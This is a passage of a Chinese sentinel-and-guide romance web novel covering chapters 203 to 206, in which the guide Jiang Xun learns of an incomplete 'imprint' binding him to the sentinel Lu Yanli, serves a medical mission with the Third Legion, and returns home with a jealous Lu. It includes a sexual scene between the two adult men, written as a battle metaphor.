你再仔细回想一下，真的不记得你们的治疗过程中，或者离开寂静星之前，发生过什么特别的事吗？陆少将从寂静星回到中央星之后，就开始实力异常提升，按照时间来推断，这个转折应该就发生在你们离开寂静星之前一段时间！你再回忆回忆，任何不大寻常的事情都可以，我帮你分析分析。” 江寻手上捧着温热的被子，沉吟了许久。要说特别的事……他们之间还的确有一件，但这件事实在有些过于私密，还牵涉到陆厌离的安全，他之前一直没有对任何人说过。不过，尼克斯就是一直负责为陆厌离治疗，并且辅助他提升能力的总负责人，应该值得信赖…… 尼克斯一见江寻犹豫的样子，眼睛瞬间一亮，他本来只是不死心地想再问问，怎么看江寻这样子，还真有什么事是他们不知道的？他忙一把放下手中的水杯，抓住江寻的手，目光灼灼地看向他：“你想起来了吗？是有什么顾虑吗？你放心，如果你不愿意的话，我一定为你保密！” 见尼克斯已经看出来了，江寻便也叹了口气松了口：“说到不寻常的事，我们之间，的确发生过一件。” 江寻有些不自在地摸了摸鼻子，在尼克斯陡然亮起来的目光中说道：“在我们当时意外遇袭的时候，陆少将曾经引导我进入过他的精神核心，单方面绑定了他。当时，我们之间似乎发生了什么不同寻常的状况，但是，这个过程又被打断了。之后，我们之间就产生了一种……奇妙的联系。” 他一边回想着，一边给尼克斯描述着那种随机出现的神奇“附身”现象，以及后来出现的，那道能够在两人之间无视距离架起桥梁，跨越无尽空间输送精神力的神奇的“门”。 “我猜测，当时我们之间可能出现了‘刻印’现象，但是这个‘刻印’可能并没有完全完成，所以，才出现了这样一个不伦不类的‘刻印技能’。”江寻总结道。 “刻印？！”尼克斯猛地坐直了身体，一双眼睛瞬间精光大涨，“你是说那个传说里，要求极为严苛的‘刻印’？” 尼克斯兴奋地跳了起来，搓着手在江寻面前来回走动着：“太神奇了，你们之间都没有完全绑定，居然发生了‘刻印’，这个‘刻印’生成的技能还这样神奇！” 他喃喃自语着思考了半天，终于稍微冷静下来，重新坐下看向江寻：“那如果我的推断没错的话，陆厌离实力的提升，很可能就与这个‘刻印’有关。” 他一边思索着，一边为江寻分析起来：“你有没有想过，你们之间存在的这种联系，可能不仅仅只是在打开你所说的那扇‘门’时，才会建立起实质的连接通道。它更有可能已经在你们两人之间，在能量层面上形成了一种始终都没有断开过的联系或者增幅！” “正是因为有这种联系，你身上才会发生你所说的那种‘附身’现象！而你的S级精神力，也一直在无声无息地通过这种联系，滋养着他的精神力，又或者为他的精神力提供着增幅！ 历史上出现过的刻印，都是双向的。所以由它产生的技能也都是双向的，对双方都有作用。正是因为你们产生这个不完整的‘刻印’时，是你单方面地绑定了他。所以这个技能也变成了单向的。你是发起者，而他是被作用者，所以一直以来都只有你能看到他，也只有他的能力才发生了异常的提升。这个‘刻印’技能，并没有给你带来什么收益。” 尼克斯身体前倾，脸上出现一种做实验时才会出现的狂热，压低了声音，一边思索着，一边继续说道：“我有一个猜测。你们都知道，当哨兵向导进行彻底的身心结合，永久绑定的时候，会调和补益彼此的精神力，使双方都经历一次能力提升，越是情感链接紧密的哨向伴侣，最后可能提升的幅度就越大。” “当你们两人将情感链接培养至某个极为紧密的阶段，再进行彻底的永久绑定时，也许能再次触发‘刻印’机制，补完现在的这个未完成的印记！” 他的语气变得极为正经，此刻的他，表现出了身为愈灵殿资深研究组长的专业素养：“如果过程理想的话，不仅你们之间的这个‘刻印’会稳定下来，形成真正的能被你们双方掌控的主动技能。而且，你们两人的实力，很有可能都能借此机会更上一层楼！” “但是，你们一定要注意……”他严肃地看向江寻，强调道，“你们的机会只有一次，如果最终永久结合的时候，你们的情感链接达不到一定的程度，也许就会错过这难得的机会，再也无法触发‘刻印’的再次发生了！我建议，你们在之后的日子里一定要多亲近，培养出对彼此更深的默契与信任，但不要急于完成永久绑定的步骤！一定要厚积薄发，感觉一切都圆融完满，水到渠成的时候，再正式进行绑定！” 江寻认真地听着尼克斯的分析与建议，此刻，他终于对他们之间的这种奇妙联系，有了一个较为科学清晰的认知，也知道了他们未来要去努力的方向。 “我明白了，尼克斯组长。”江寻郑重地放下杯子，对着尼克斯点了点头，“我们一定会慎重考虑过后，再进行最终绑定这一步的。” 尼克斯也容光焕发起来，大力拍了拍他的肩膀：“你们一定要把握好这次机会！要知道，你们两个都已经是站在联盟实力顶点的人了，能够再一次拥有大幅进步的机会，难之又难。以后恐怕也不会有人如你们一般自身实力顶尖，又刚好触发了这种能大幅度再次提升自身能力的特殊技能了。你们最终能够达到的实力等级，也许就是联盟今后所能达到的最高点了，一定要好好把握！” 尼克斯的一再强调，让江寻更加认识到了这件事的重要性。他认真地再次应承了下来，把这件事记在了心上。 * 时间如流水般慢慢流淌过去，最初的沸腾渐渐冷却下来，震惊联盟的消息也开始被其他新闻取代。 人们在经历了开始几天的激动与热议之后，慢慢接受了这位新晋S级向导的存在。 圣所里也再次平静了下来，往来之间，投在江寻身上的目光依然饱含着尊敬与敬畏，却理智了许多。生活终究还是回到了它原有的轨道。 只是仍有着层出不穷的高级哨兵，三不五时地与江寻“偶遇”，或者干脆直截了当地向他自荐，期望能够与他建立固定的疏导关系。 这样的事，在晋升之前江寻都没有答应过，与陆厌离感情更好的如今，更加不会答应，统统婉拒了过去。 湖畔别墅中，房间里的东西越添越多，越来越有生活气息。江寻与陆厌离的同居生活，也在慢慢地步入正轨。 在江寻的引导与鼓励下，陆厌离在他面前表现出来的一些东西，也在悄然地发生着变化。 第204章 北风呼啸， 天气一天比一天寒冷。 下周就是星历一月，新的一年即将开始。按照传统，圣所学院会从一月一日起， 放假十天，让学员们回家与家人团聚，共庆佳节。 因此，原本安排在每个月初的强制任务， 这次也被提前到了十二月底。 今天一早， 来自圣所指挥中心的任务申报通知， 便被推送到了所有学员的终端核心上。 自从和第三军团的斯通上校达成协议后，江寻的每月强制任务便都变成了由第三军团指名的定向任务。而到了如今， 虽然再也不会有人去对他的任务做手脚，第三军团也无法直接指定一位S级向导接受任务。可江寻还是在接到第三军团的通讯时，接受了对方的邀请， 继续对第三军团提供医疗支援。 这倒不是因为别的， 只是江寻心中一向尊重规矩约定，既然之前已经说好，而且对方在他处境困顿时， 也一直在依约与他合作， 那么即使如今自己的地位上升， 他也没有违诺的打算。 第三军团方面得了江寻的首肯后， 是如何欢欣鼓舞不提。只是当江寻回家把任务安排告诉了陆厌离， 说明自己需要按照任务要求， 前往第三军团驻地星域停留三天时， 陆厌离的眉头立刻蹙了起来。 “要去三天吗？”陆厌离碧绿的眼眸里立马盈满了不舍，连周身萦绕的精神力场好似都低沉了几分。 自他任务结束从M94星系回来之后，两人便每天都在一起。感情进展可以说是一日千里。特别是搬到新家之后， 共同布置打理新家，大部分时候都以人类的形态在一起相处亲昵，更是让他们渐渐熟悉了这样的生活。 如今，陆厌离已经开始习惯与江寻同床共枕，感受着另一具身体带来的温暖，甚至开始依赖每晚的这种近距离接触。 平日里，江寻始终都对他温和包容，也让他在对方面前渐渐开始展露出一些不太“乖巧”的一面。 此时突然得到消息要分离三天，陆厌离马上便把情绪都写在了脸上。 “只是三天而已，很快就过去了。而且，回来之后就是十天的新年假期，到时候全都陪着你，好不好？”江寻耐心地安慰着。 这个承诺明显令陆厌离期待了起来。再加上，他也知道每月的学院强制任务是正事，江寻与他一样，也有自己要承担的责任，只能不情不愿地应了下来。 只不过，接下来的一晚上时间，他都显得格外躁动不安分。 江寻看书做功课时，不停地在他身边转来转去；做晚餐的时候，一直黏在江寻身边碍手碍脚；临睡前整理行李时，更是全程都撇着嘴，江寻每叠好一件衣服放进去，他都要伸手拨弄两下，还不住在旁边小声嘟囔个不停。 江寻将他这些小动作都看在眼里，只觉又好气又好笑。但他能像如今这样在自己面前表露出情绪，也是江寻高兴看到的。便没有点破，只是在他每一次低落地蹭过来时，用指尖梳理着他顺滑的发丝，一遍遍温声安慰。 到了晚上睡觉的时候，陆厌离更是异常主动地缠上了江寻，完全没了平日里的害羞躲避，痴缠着他亲吻个不停，像是要把未来三天的份量都预支掉似的。 知道他的心里不安，江寻也十分配合，陪着他折腾了许久，最后才把他按进怀里，一边轻拍着他的背脊，一边慢慢进入了梦乡。 第二天一早，江寻早早起床给陆厌离做好早餐温在保温箱里，就乘上了最早一班运输舰，准时抵达了M30星系的第三军团驻地。 此时，斯通上校已经带着下属们等候在了停机坪上，除却他们之外，竟然还有好几位之前只在医疗援助时有过一面之缘的其他中层军官。而站在所有人最前面的，居然是江寻只在斯通的聊天中听说过的第三军团军团长本人。 “欢迎您，江寻阁下。非常感谢您仍然愿意前来我们第三军团进行医疗援助任务！”江寻一出现在众人面前，军团长就率先迎了上去，满面笑容地握住了他的手。 也难怪他这么高兴，本来自家下属能与一位能力出众的高级向导达成协议，每月都前来第三军团医疗支援，他就已经很满意了。 前阵子新晋S级向导的消息传开时，他还惊喜地发现，这位新晋S级向导居然就是一直以来都在与他们合作的那位。 而如今，这位炽手可热的向导，居然还愿意遵守与第三军团的约定，继续每个月的医疗支援任务，简直令他喜出望外，当即便打了通讯与好几个其他星域的军团长好好炫耀了一番。 如今更是亲自前来迎接，下定决心要继续维持住第三军团与这位阁下之间的良好关系。要是能顺便把军团里几个出色的年轻人推荐给他，建立起固定的疏导关系，那就更完美了！ “将军太客气了，这是我分内的事。”江寻对于这位军团长的亲自到来有些意外，但还是第一时间礼貌回应。他看了斯通一眼，得到对方一个安抚的点头，便也没再多说什么。在众人的簇拥下，被接进了第三军团总部。 好在军团长阁下军务繁忙，今天也只是为表自己的重视才特地拨冗前来。接到江寻之后，很快便告辞离去，让江寻松了口气。 接着，其他的年轻军官们也一个个上前与江寻热情地见礼。江寻看到这个架势，有点头痛。好在，这些常年驻扎于军中的军官们，心性都比较单纯直爽，行止之间也礼貌得体，与江寻正式互通了姓名便依此散去。直到这时，斯通才苦笑着迎了上来。 “好久不见，恭喜您了，江寻阁下。”与以往相比，斯通的态度明显多了几分慎重与拘谨。江寻如今虽然只是一名圣所学生，但已经可以预见到未来的贵重身份，任谁都不敢怠慢。 江寻也没有介意斯通微妙改变了的态度，依然如常般点了点头，应声道：“谢谢，斯通上校，不用这么客气。这一次的医疗援助任务时限还是三天，你这边安排好需要疏导的患者了吗？” 见他的态度并未因自身身份的改变而有所不同，斯通的脸上这才露出一个真诚的微笑：“你是坐第一班航舰过来的吧？辛苦了，我先带你去住处修整一番，疏导的事不急，等你中午用过午餐再开始。” 看他的态度，江寻便明白了，现在应该没有急需救治的伤患，便没有辜负斯通的好意，随着他先将行李安置在了接下来三天里要下榻的宿舍里。又休息了一会儿，缓解一下早起的困倦，去公共食堂里用过了午餐，这才前往了已经为他安排好的疏导室中，准备开始这一次的医疗援助任务。 如今的江寻，已经不需要去掩饰自己的能力，自身也想在实践中实验、尝试一下群体疏导能力，便没有局限于以往的一对一精细疏导模式。 他先是根据医疗档案，将报名前来疏导的士兵们，按照病情的相似性分为不同的类别，又在每个类别中，按照精神力受损的严重程度分为了若干个小组。最后，以小组为单位开始进行群体性的精神安抚与污染净化。 开始时，疏导进行得不算顺利。 治疗不比狂化抑制，每个人身上的伤情各不相同，病因也千差万别，想要同时为复数个人治疗，还要保证准确度与效率，实在不是一件容易的事。 好在江寻的精神力充裕，理论知识也足够扎实，在最初尝试了几次之后，便开始总结病例，调整治疗方法。身处军中，需要疏导的病患数量也足够多，很快，他便沉浸在了工作中，一边改进自己的治疗方式，一边快速地为士兵们疏导起来。 在愈灵殿中的学习工作，让他习惯了高强度的节奏，接下来的三天里，他将自己所有的精力都投入了工作中。 连续三天不间断的治疗疏导，虽然消耗巨大，但效果也十分显著。对于情况简单单一的轻伤污染，他已经可以同时进行十人以下的共同疏导；而对于情况更为复杂的案例，他也有了改良思路。 可以说，这一次的支援任务，已经圆满达到了他预设的目标。 最后一天下午，当江寻送走了最后一批完成疏导的士兵时，终于轻轻松了口气。至此，这一次的支援任务，就算是圆满完成了。 斯通早已等待在疏导室外，见到江寻出来，立马站起身迎了上去，眼中带着由衷的感激：“辛苦了，江寻阁下。这一次您救助的士兵数量比以往还要多了三成，真是帮大忙了。” “斯通上校，不用这么客气，这本就是我的职责，能帮上忙，是我的荣幸。”江寻微笑着回道。 “嗯……”斯通忽然轻咳一声，略显不自在地继续道，“这次任务到这里就结束了，您是搭乘明天的运输舰离开吧？不知道您今晚有没有空？我想请您吃顿晚餐，略表谢意。” “嗯？”江寻一楞，这才注意到，今日的斯通居然穿着正式的军礼服，头发也被一丝不苟地梳了起来，显见是来之前特意打理了一番。江寻有些无奈，看来这个S级向导的身份，比他想象的还要来得麻烦。正准备开口婉拒，一个低沉冷冽的声音却突兀从旁边插了进来，打断了他们的对话。 “他没空。” 熟悉的声音令江寻吃了一惊，斯通也眉头一皱，循声转身望去。 第205章 众人循声望去， 只见疏导室门口正立着一道身影。来人一身笔挺的黑色军装常服，肩章上的将星泛着冷冽的微光，领口那枚金钉剑徽与江寻佩戴着的金钉盾徽宛如一对， 一张略显苍白的面孔上，此刻神情淡漠，而那双碧绿的眼眸，深处却已漫上了点点阴霾， 将瞳色染得愈发深邃——正是本该远在中央星的军部少将， 陆厌离。 三个字简短的落下， 带着清晰的占有意味。 他大跨步地走了进来，冰冷的目光直直钉在斯通身上， 刺得对方皮肤都传来隐隐刺痛。随着他的靠近，一股庞大的威压开始在这有限的空间中弥漫开来，目标精准地笼罩住站在江寻身边的斯通。 斯通只觉自己似乎被什么不可力敌的可怕猛兽盯上， 强烈的危险感在脑海中疯狂响起预警， 迎面而来的压力如有实质般砸在他身上，压得他面色一白，不由自主地后退一步， 浑身冷汗瞬间潺潺而下。 而就站在他身边的江寻， 却似丝毫没有感受到这股骇人的压力， 只是看着来人， 眼中掠过一丝真实的惊讶， 面上却不自觉地浮现出惊喜的笑容。 他往前迈了一步迎上来人， 还没来得及开口， 陆厌离已经抢先伸臂，紧紧握住了江寻的手，几步就走到他身边， 与他亲密地并肩而立面向斯通。目光带着些敌意从斯通身上扫过，看到对方那一身郑重而略显华丽的军礼服，精神力场陡然又增强了几分，语气也愈发冷硬，再次重复道：“他今晚没有空。” 斯通上校注视着这位在整个联盟中都闻名遐迩的S级哨兵，携着一身赫赫威势走近，第一反应便想去护在江寻身前。 但当他看见江寻脸上毫不掩饰的惊喜神色，再看到对方一把拉住江寻，同样挡在他身前面向自己的这副明显带着占有欲的姿态，哪里还能不明白。 “你们……”话到嘴边又咽了回去，斯通看着两人亲密无间并肩而立的身影，未出口的询问戛然而止。 心中泛起一阵遗憾，脸上闪过一丝失落，他轻叹了口气。 随即迅速后退了两步，调整好表情，越过陆厌离的肩膀看向站在他身后的江寻，郑重敬了个军礼：“既然您的哨兵来接您了，那我就不多做打扰了。再次感谢您这三天以来对第三军团的全力帮助。” 江寻看向斯通，微笑着点了点头：“这是我的份内之事，上校真的不必这么客气。” 说完，便自然地揽上陆厌离，礼貌地向斯通致意道别：“那么，斯通上校不用送了，我们下次任务再见。” 走出了医疗区，沿着无人的走廊往被分配给他的宿舍走去，江寻这才侧头，看向身边依旧有些闷闷不乐的人：“你怎么过来了？不是说好我明天一早就会回去了吗？” 陆厌离抿了抿唇，在这无人的角落里，毫不掩饰地对江寻表现出了他的情绪，他的声音闷闷的，看向江寻的目光中充满了思念与委屈：“我不想打扰你，但是我已经等了三天了，再也不想多等一个晚上了。” 江寻不在的这三天里，他便如断了线的风筝一般，总是感觉心里空落落的，心情焦躁，坐立不安。知道江寻一直以来认真负责的性子，他强忍着不想打扰对方的正常工作，便只能自己承受着这样的焦躁情绪，一点点地数着时间慢慢流逝。 三天的期限一到，就马上迫不及待地亲自驾驶着舰艇赶来接人。 直到此时看到那人真切地站在自己面前，紧紧握住了他温暖的手，这三天以来的幽思与孤独才终于散了去。这时，他才恍然地意识到，自己对江寻已经产生了这样深刻的依赖与感情。 江寻看着面前的人盛满自己身影的那双碧眸，心中软成一片，手上微一使力，也不顾两人站在随时有人经过的走廊里，一把将陆厌离拉进怀中揽住，安抚地亲了亲他的唇瓣：“辛苦了，我们这就一起回家。” 说完，牵着陆厌离，脚步迅速地回到宿舍收拾好了行李，便跟着他，登上了停留在外间的小型穿梭舰。 舰门无声闭合，将内外隔绝，舰尾并列的引擎组同时开始蓄能，泛起钴蓝色幽光。 斯通站在窗边，目送那艘流线型的小型舰艇在一阵轻微的轰鸣声后，轻盈地跃上天空，速度越来越快，最终化为天际的一个光点。久久，终是死心，苦笑着叹了口气。 穿梭舰内，陆厌离娴熟地驾驶着舰艇沿着轨道前行，很快脱离了星球引力，汇入繁忙的航道，朝着中央星的方向行驶过去。 直至正式进入了主航道，周围的舰艇渐渐稀少，这才设定好了回返中央星的航线，切换至智能驾驶模式，迫不及待地离开了驾驶座，走向客舱。 客舱中，江寻已经准备好了两人的航空晚餐，正靠在软椅上休息着。连续三天的高强度疏导任务，让他的精神力消耗了许多，不可避免地感到了些许疲惫。 陆厌离一声不吭地走进了客舱里，看也不看摆在桌上的简易晚餐，直接便挨着江寻坐了下来，伸手环住他的腰间，自然地靠进他怀里，把脑袋埋进江寻颈间，来回蹭了蹭。整个人像个大型挂件一样黏在他身上，久久没有出声。 江寻放松地向后靠去，同样自然而然地伸出手臂将陆厌离圈在自己怀中，感受着颈间温热的呼吸，抬手安抚地梳了梳他后脑上顺滑的短发，含笑轻声问道：“怎么了？见到我怎么还心情不好呢？谁惹我们陆少将不高兴了？” 陆厌离沉默了几秒，才瓮声瓮气地开了口，话语中是直白的委屈不高兴：“……我不喜欢他那样看着你。”他还要邀请你一起共进晚餐，想都别想。陆厌离在心中恨恨念道。 江寻愣了一下，随即失笑。但立刻，又因为陆厌离这番直白的表达而心生欢喜。他深谙与陆厌离的相处之道，这种时候，是必须要马上给予他表扬与安抚的。 于是立刻侧了侧身子，将另一手手臂也揽上了陆厌离的肩背，温柔地轻拍着他的脊背安抚起来：“我和他之间只有正常的工作接触，包括那些需要疏导的士兵们，在我的眼里，他们都是一视同仁的病人，没有任何一个人有什么特殊。” “我也从没接受过他的任何私下邀约，一起吃饭什么的。”江寻拉过桌上的简易餐盒，对陆厌离示意，“你看，比起什么和他吃大餐，我更喜欢在这里陪你吃盒饭。”话语里，满含笑意，虽然有些故意夸张逗他的成分，但不得不说，安抚的效果确实立竿见影。 陆厌离听着江寻温和的话语，抬了抬头，顺着他的目光看向桌面上的简易餐盒，当即便被逗地露出了一丝笑意。 心头的那点酸酸涩涩，也被冲淡了许多。 他抬头抵上江寻的额头，轻轻蹭了蹭，像是要在江寻身上重新烙下属于自己的气息。 随后，有些耍赖地出声要求道：“我要你喂我吃……” 江寻几乎要忍俊不禁。 此刻腻在自己身上的人，哪里还有刚才在第三军团中的半分威风？那萦绕周身的凶猛怒焰，早已在无声无息间化为温柔水流，在自己的精神力场下乖顺地趴伏了下来。 即使仍穿着一身笔挺冷硬的军装，甚至连领口象征着S级哨兵的剑徽，与肩头闪亮的少将肩章都没有卸下来。眼角眉梢间却已经一片柔软，对着自己提着不讲道理却理所当然的要求。 望着他这般模样，江寻忍不住从心底油然而生一种强烈的成就感。一个清晰的认知浮现在他的心中： 是我把他变成了这副模样，也只有在我面前，他才会表现出搬面貌。 这个念头令他不自觉从心底升起一股战栗，看向陆厌离的眼神愈发纵容而宠溺。 “好啊，我来喂你吃。” 江寻笑着应下陆厌离的要求，在对方惊讶的目光中，双手卡在他的腰间一使劲，竟直接将陆厌离举了起来。 而后，手腕一转，把他翻转个身，让他直接坐在了自己腿间。宽阔地胸膛严丝合缝地贴上对方的背脊，下巴往前一伸，轻轻搁在陆厌离肩头。 一只手紧紧揽住他的腰际将他扣在自己怀里，另一手伸出去夹面前桌面上的饭菜。当真就这样，一口一口给陆厌离喂起饭来。 陆厌离的面庞通红一片，只觉自己四面八方都被江寻的气息完全笼罩，双手紧紧抓住江寻环在自己腰间的手臂，似是想拉开，又似是想握得更紧。 但心底，却涌起一股强烈的满足与安全感。 他象征性地挣动了两下便不动了。眼看着被江寻送到自己唇边的饭菜，有些害羞地与江寻对视一眼，便微启双唇，接了过去。 一旦开始，便再也没有任何反抗的意思，就这样就着江寻的手，一口一口吃了起来—— 作者有话说：改完！XQL继续贴贴[加油]《 》 205-210 第206章 一人喂， 一人接，原本配合默契。可猫儿哪有长久安分的道理？ 才吃到一半，陆厌离就有了些小动作。 口中接住江寻给他喂过来的菜肴， 却不好好咽下去，故意用那双碧眸直勾勾盯在江寻的嘴唇上，慢条斯理地慢慢嚼着，咽下最后一口时， 还要伸出舌头轻轻舔舔嘴角。 看着江寻渐渐慢下来的动作与逐渐深邃的眼眸， 陆厌离紧紧抓着他的手臂， 有些紧张地往他怀里缩了缩，脸上却露出一个带着点得意的微笑来。 几次三番后， 见江寻眸色深沉，却还是毫无其他动作，眉宇间渐渐浮起几分急躁不满来， 再下一口接住饭菜时， 竟是大胆地直接仰头冲着江寻献了上去，口中喃喃出声：“你也吃……” 江寻眼中掠过浓重的满足之色，面对此番进献却还是不为所动， 只是克制地微微张口， 收下自家猫猫衔来的这份“贡品”。手下仍不停顿， 继续夹来一筷饭菜递到陆厌离唇边。 陆厌离有些震惊地睁大了眼睛， 似是没想到这人为什么还是这般冷静自持。愣愣地再次接过他喂过来的饭菜， 有些不服气地再次凑近， 递了上去。 江寻眼中闪过一丝笑意， 从善如流地接下进献，打发走使臣，转眼又将下一份贡品送到了使臣手中。 陆厌离终于看清了江寻眼中潜藏着的那抹笑意， 脸颊霎时飞红，大声哼了一声，恼羞成怒地瞪了江寻一眼，可眼眸中却水光潋滟，毫无威慑力。 听着江寻忍不住发出的低笑声，感受着身后胸腔的震动，陆厌离恶向胆边生，索性长大嘴巴，一口吞下江寻再一次喂过来的一块植物根茎，带着些得意看着江寻，使劲儿嚼了起来。 看着他这番模样，江寻终于大笑出声，丢开手中的筷子，一把捏住陆厌离的下巴把他拖到自己面前，一低头便参与进了这场对于贡品的争夺里。 可怜的使臣紧紧抱着自己的珍宝左躲右闪，却被霸道的君主禁锢在了狭小的宫殿里无处可逃。不仅被强横的君主把手上的贡品统统夺了去，连自身都难保，被君主按着扭打在一起，直教训得鬓发散乱、气喘吁吁地跪地求饶，才终于令君主网开一面，放过了他。眼睁睁看着君主大摇大摆地抱着贡品，满意地退出了宫殿。 待江寻一声朗笑，慢条斯理地将夺来的贡品一点点嚼碎咽下，陆厌离已经只能靠在他怀里大口喘息，气恼地一下下捶在他的胸口上。 这次之后，江寻似乎终于良心发现了，不再去故意争抢陆厌离的食物，顶着他怨念的目光轻笑一声，又继续喂食起来。 陆厌离起初还赌气一般大口吃着，把喂到自己唇边的饭菜统统咽了下去。眼看着餐盘里的饭菜越来越少，吃东西的速度也慢了下来。最后终于忍不住推了推江寻：“你也吃呀，刚才匆匆被我拉上船，还没吃晚饭吧？” “是呀，还没吃呢。”江寻看着陆厌离，意有所指地笑了笑，“但是我累了，也想让人喂着吃。” 陆厌离抿了抿唇，泄出一个小小的微笑来，顺从地从他手上接过筷子，学着江寻方才的样子，夹起一筷饭菜递到他唇边。 江寻却只是用嘴唇轻轻碰了碰，就摇了摇头：“都有些冷了，我想吃热的。” “嗯？”陆厌离顺势把这口菜送进自己口中试了试，是有些凉了，“那我给你去热一下。”说着就要起身。 可江寻的手臂依然紧紧箍在他腰间一动不动，陆厌离转头有些疑惑地看向他，却见他再次低下头来，从自己唇间卷走了菜肴，低笑一声说道：“不用了，这样不就热了吗？” 陆厌离眼睫一颤，这一下，连耳尖都被彻底染红，张口结舌，语不成句：“你……” 江寻却再次凑近过来，将下巴搭上陆厌离的肩头，手指有一下没一下地摩挲着对方腰线，口中懒洋洋地催促了起来：“快点呀，我刚才都喂你吃了，现在轮到你喂我了。我好饿，连续工作了三天，精神力也消耗了好多，作为我唯一的哨兵，你还不快点喂饱我？” 听到这话，陆厌离才注意到江寻眉宇间不同寻常的一点倦色。心头瞬间软了下来，再舍不得耽搁他吃饭，红着脸迟疑了片刻，慢慢伸出筷子，夹起菜肴送入了自己口中。 江寻得逞地一笑，终于不再去故意逗他，一口接一口地从这温热的“食盒”里取出饭菜，慢慢吃了起来。 随着餐盘逐渐见底，两人之间的气氛，也在这狭小的空间里变得愈发旖旎而缠绵。 江寻夺走最后一口餐食，含着笑意深深凝望进陆厌离的眼底，双手一动，再次把怀里的人转了个方向，面对着自己放了下来。 这一次，终于不再有任何阻隔，他挥手揽住了怀中人，深深地亲吻了下去。 三日的分离，不仅是陆厌离思念成疾，他也夜夜独守空房，难以安眠。 此刻的一番亲密，终于令两人重新补全了心中的空缺，再次契合在了一起。 良久，两人的动作终于慢了下来，陆厌离稍稍退开些许，一双碧眸深深望进江寻眼底，像是做下了什么决定，声音轻缓而低哑：“这几天里……你消耗了很多精神力吗？” “嗯。”江寻眯着眼，满足地轻应一声，呼吸仍未完全平复下来。 “那……”陆厌离的指尖轻轻拂过江寻的太阳穴，落在他的颊边，一双眼睛含着羞涩，却又带着不容置疑的专注与决心。转瞬间，这些情绪又杂糅在一起，化为一股纯粹的渴望：“让我来给你做精神补偿吧？” 他顿了顿，迎上江寻略显惊讶的目光，清晰地补充道： “真正的精神补偿。” * 江寻定了定神，望进陆厌离的眼中，目光渐深。 陆厌离有些羞赧地咽了咽口水，却在江寻的注视中获得了勇气。 他轻轻低下头来，双唇轻触在江寻唇角，细细啄吻几下之后，缓缓下移到颈间，又是几番流连，继续下滑，整个人也随着动作慢慢滑落下去，最终一声轻响，双膝触地。 他抬起头来，再次看了江寻一眼，目光慢慢下移，手指犹豫了片刻，缓缓前伸，搭上了面前的金属搭扣。 伴随着金属细碎的磕碰声响与布料摩擦声，指尖一挑，便与玄武短兵相接。 陆厌离不愧是身经百战的顶尖哨兵，即使面对从未战斗过的陌生对手，也在很短的时间里，便掌握了对方所有的动向与弱点。 以指为兵，劈砍撩挂之间，便令玄武昂首怒吼，直突他面门而来。 眼见难以招架，陆厌离却不退反进，抬眼与那双已经深似墨潭的眸子对视一眼，微微露出一个笑意，低头叩开齿关，驱敌入城，近身搏杀。 江寻猛地闷哼一声，抬手扣住陆厌离的发顶，却不知是想要推开还是拉近。 陆厌离只觉得头皮一痛，心中却是战意更盛，他的眼眶湿润起来，猛地缩紧了包围圈。 城中守兵初时不敌，却听耳边鼓风一般的喘息声连绵不绝，便如闻听战鼓催征，死死坚守下来，想尽办法伺机反攻。 鏖战良久，你进我退之间，却仍是玄武渐占上风，连城墙都被打得频频向外凸出。 眼见仍是不可力敌，陆厌离心中一横，再次跪前一步，脊梁又弓，竟是放了那凶猛的玄武直入皇城。 皇城城墙更加狭窄，终于彻底困住了来敌。陆厌离再次重整旗鼓，冲向敌军，几番缠斗之后，终于熟悉了手上刀兵，与来犯之敌势均力敌地较量起来。 玄武勃发炽热，却单刀赴会，深陷重围，左冲右突之间怎么都无法脱离包围圈。终于怒吼一声，最后一次冲击皇城中心，以天赋权能唤来涛涛洪流，水漫皇城。随即自己也失去再战之力，立时力竭，困顿了下来。 陆厌离初次经历如此激烈的攻防战斗，能打得有来有往已属不易，哪里经得起这番冲击，当即咳呛出声，败下阵来。 好在君主仁慈，立即便将人拉了起来，紧紧拥入怀中。不仅赦免了他的不敌之罪，还极近温柔地轻声安抚，终于让将军重展笑颜，亲昵地偎进了君主怀里。 无人在意的空气中，被用作筏子的精神力活泼泼地猛涨了一大截，却丝毫没有被只顾着安抚自家爱侣的主人察觉到。张牙舞爪了半天，终于放弃。目标一转，看向面前那团猫儿一般乖顺趴伏着的另一股精神力。尾巴一卷，囫囵扑了上去，同样将那团精神力紧紧抱进了怀里。 小小的客舱中，暖白灯光彻夜长明，在这无人知晓的深空中，不知藏起了多少旖旎。 * 待两人一路又换乘了悬浮车驶入湖畔别墅区的范围时，夜色已然彻底黑沉了下来。 陆厌离几乎是迫不及待地驾驶着车子，向着自家别墅的方向驶去。走着走着，却被窗外掠过的阵阵绚烂灯光吸引到了视线，速度不由放缓下来。 只见湖畔区的林木之间，不知何时已经缀满了点点细碎而柔和的灯光，浅白淡紫的光晕照向身边的树影，映出一片如梦似幻的绚丽景象，远远地铺陈开去，一眼竟看不到边，恍若将天上的星河都搬进了人间。 整个湖畔区也不似往日一般，夜幕降临便一片静谧祥和。此刻，这里正有隐隐约约的音乐声、笑闹声从不远处随着夜风轻轻飘来。隐约看到屋顶的其他几栋别墅处，点点灯光闪烁。不必亲眼目睹，也能感受到空气中平添的几分鲜活气息。 “这是……”江寻同样惊讶地望向窗外，自他搬过来之后，还从没看到过这般热闹景象。 “应该是快到新年了。”陆厌离在心中默算一下日期，望向不远处那些不停闪烁的灯光，解释道。 随即心中一动，原本急着回家的念头淡去些许，悄悄觑向身边江寻的神色。 江寻一眼察觉到陆厌离偷看过来的视线，莞尔一笑：“把行李放回家，我们出去走走？” “好！”陆厌离立刻欣然应允下来。 随即，悬浮车再次加速，无声无息掠过树梢向着目的地驶去，在别墅旁的停车坪降下高度，将两人放了下来。 江寻扣住陆厌离的十指，轻轻一拉。两人对视一笑，相携着步入林间小道。 此时他们才发现，那绚烂的荧光，不仅仅来自人造的灯光，更多居然来源于毗邻别墅的镜湖之中。 这里显然是被社区特意布置了某种不知名的诱饵。 只见清澈的湖水之中，自然发光的巨大水母成群地游曳到了浅水层中，一动一摇之间便是一阵荧光流转。 空中，不知名的荧光小虫也被大量吸引了过来，绕着整座镜湖翩跹起舞。整片湖面，竟像是一个巨大的发光体，将点点银辉毫不吝啬地向外挥洒，为这人间添上了一抹瑰丽色彩。 刚刚搬到这里时，他们就曾在间隙中窥见过此处的夜色之美。但今夜的景致，却因为这些特意的布置，颜色更胜往昔。 两人不约而同地相视一笑，刚刚在穿梭舰上亲密厮磨间生出的情意，还没完全从眼角眉梢间褪去，此刻，又被这美丽梦幻的夜色再次触动。 他们十指紧扣，一路沿着湖畔铺设的蜿蜒小径缓步而行。 